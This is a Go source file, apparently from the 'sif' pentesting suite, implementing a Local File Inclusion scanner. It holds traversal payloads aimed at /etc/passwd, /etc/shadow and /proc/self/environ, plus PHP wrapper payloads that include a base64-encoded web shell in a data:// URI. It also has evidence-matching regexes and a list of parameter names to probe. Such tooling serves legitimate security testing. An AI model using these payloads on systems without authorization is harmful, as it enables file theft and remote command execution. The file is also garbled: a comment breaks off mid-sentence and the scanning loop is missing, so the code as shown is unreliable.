/* ·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━· : : : █▀ █ █▀▀ · Blazing-fast pentesting suite : : ▄█ █ █▀ · BSD 3-Clause License : : : : (c) 2022-2026 vmfunc, xyzeva, : : lunchcat alumni & contributors : : : ·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━· */ package scan import ( "context" "fmt" "io" "net/http" "net/url" "regexp" "strings" "sync" "time" charmlog "github.com/charmbracelet/log" "github.com/vmfunc/sif/internal/httpx" "github.com/vmfunc/sif/internal/logger" "github.com/vmfunc/sif/internal/output" ) // LFIResult represents the results of LFI reconnaissance type LFIResult struct { Vulnerabilities []LFIVulnerability `json:"vulnerabilities,omitempty"` TestedParams int `json:"tested_params"` TestedPayloads int `json:"tested_payloads"` } // LFIVulnerability represents a detected LFI vulnerability type LFIVulnerability struct { URL string `json:"url"` Parameter string `json:"parameter"` Payload string `json:"payload"` Evidence string `json:"evidence"` Severity string `json:"severity"` FileIncluded string `json:"file_included,omitempty"` } // LFI payloads for directory traversal var lfiPayloads = []struct { payload string target string severity string }{ // Linux/Unix paths {"../../../../../../../etc/passwd", "/etc/passwd", "high"}, {"....//....//....//....//....//etc/passwd", "/etc/passwd", "high"}, {"..%2f..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd", "high"}, {"..%252f..%252f..%252f..%252fetc/passwd", "/etc/passwd", "high"}, {"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "/etc/passwd", "high"}, {"....\\....\\....\\....\\etc\\passwd", "/etc/passwd", "high"}, {"/etc/passwd", "/etc/passwd", "high"}, {"/etc/passwd%00", "/etc/passwd", "high"}, {"../../../../../../../etc/shadow", "/etc/shadow", "critical"}, {"../../../../../../../proc/self/environ", "/proc/self/environ", "high"}, {"../../../../../../../var/log/apache2/access.log", "apache access log", "medium"}, {"../../../../../../../var/log/apache2/error.log", "apache error log", "medium"}, {"../../../../../../../var/log/nginx/access.log", "nginx access log", "medium"}, {"../../../../../../../var/log/nginx/error.log", "nginx error log", "medium"}, // Windows paths {"..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "windows hosts", "high"}, {"../../../../../../../windows/system32/drivers/etc/hosts", "windows hosts", "high"}, {"..\\..\\..\\..\\boot.ini", "boot.ini", "high"}, {"../../../../../../../boot.ini", "boot.ini", "high"}, {"..\\..\\..\\..\\windows\\win.ini", "win.ini", "medium"}, // PHP wrappers {"php://filter/convert.base64-encode/resource=index.php", "php source", "high"}, {"php://filter/read=convert.base64-encode/resource=config.php", "php config", "critical"}, {"expect://id", "command execution", "critical"}, {"php://input", "php input", "high"}, {"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+", "data wrapper", "critical"}, } // Evidence patterns for LFI detection var lfiEvidencePatterns = []struct { pattern *regexp.Regexp description string severity string }{ {regexp.MustCompile(`root:.*:0:0:`), "/etc/passwd content", "high"}, {regexp.MustCompile(`daemon:.*:1:1:`), "/etc/passwd content", "high"}, {regexp.MustCompile(`nobody:.*:65534:`), "/etc/passwd content", "high"}, {regexp.MustCompile(`\[boot loader\]`), "boot.ini content", "high"}, {regexp.MustCompile(`\[operating systems\]`), "boot.ini content", "high"}, {regexp.MustCompile(`; for 16-bit app support`), "win.ini content", "medium"}, {regexp.MustCompile(`\[fonts\]`), "win.ini content", "medium"}, {regexp.MustCompile(`127\.0\.0\.1\s+localhost`), "hosts file content", "medium"}, {regexp.MustCompile(`DOCUMENT_ROOT=`), "/proc/self/environ content", "high"}, {regexp.MustCompile(`PATH=.*:/usr`), "environment variables", "high"}, {regexp.MustCompile(`<\?php`), "PHP source code", "high"}, {regexp.MustCompile(`PD9waHA`), "base64 encoded PHP", "high"}, } // Common parameters to test var commonLFIParams = []string{ "file", "page", "path", "include", "doc", "document", "folder", "root", "pg", "style", "pdf", "template", "php_path", "lang", "language", "view", "content", "layout", "mod", "conf", "url", "dir", "show", "name", "cat", "action", "read", "load", "open", } // LFI performs LFI (Local File Inclusion) reconnaissance on the target URL func LFI(targetURL string, timeout time.Duration, threads int, logdir string) (*LFIResult, error) { log := output.Module("LFI") log.Start() spin := output.NewSpinner("Scanning for LFI vulnerabilities") spin.Start() sanitizedURL := stripScheme(targetURL) if logdir != "" { if err := logger.WriteHeader(sanitizedURL, logdir, "LFI reconnaissance"); err != nil { spin.Stop() log.Error("Error creating log file: %v", err) return nil, err } } result := &LFIResult{ Vulnerabilities: make([]LFIVulnerability, 0, 16), } seen := make(map[string]bool) var mu sync.Mutex var wg sync.WaitGroup client := httpx.Client(timeout) client.CheckRedirect = func(req *http.Request, via []*http.Request) error { if len(via) >= 3 { return http.ErrUseLastResponse } return nil } // parse the target URL to check for existing parameters parsedURL, err := url.Parse(targetURL) if err != nil { return nil, fmt.Errorf("failed to parse URL: %w", err) } existingParams := parsedURL.Query() paramsToTest := make(map[string]bool) // add existing parameters for param := range existingParams { paramsToTest[param] = true } // add common LFI parameters for _, param := range commonLFIParams { paramsToTest[param] = true } result.TestedParams = len(paramsToTest) result.TestedPayloads = len(lfiPayloads) log.Info("Testing %d parameters with %d payloads", len(paramsToTest), len(lfiPayloads)) // baseline the unmodified target so evidence-like content already present // on every response (a blog post about /etc/passwd, a " 0 { log.Warn("Found %d LFI vulnerabilities", len(result.Vulnerabilities)) criticalCount := 0 highCount := 0 for _, v := range result.Vulnerabilities { if v.Severity == "critical" { criticalCount++ } else if v.Severity == "high" { highCount++ } } if criticalCount > 0 { log.Error("%d CRITICAL vulnerabilities found!", criticalCount) } if highCount > 0 { log.Warn("%d HIGH severity vulnerabilities found", highCount) } log.Complete(len(result.Vulnerabilities), "found") } else { log.Info("No LFI vulnerabilities detected") log.Complete(0, "found") return nil, nil //nolint:nilnil // no LFI found is not an error } return result, nil } // DetectLFIFromResponse checks a response body for LFI evidence func DetectLFIFromResponse(body string) (bool, string) { for _, evidence := range lfiEvidencePatterns { if evidence.pattern.MatchString(body) { return true, evidence.description } } return false, "" }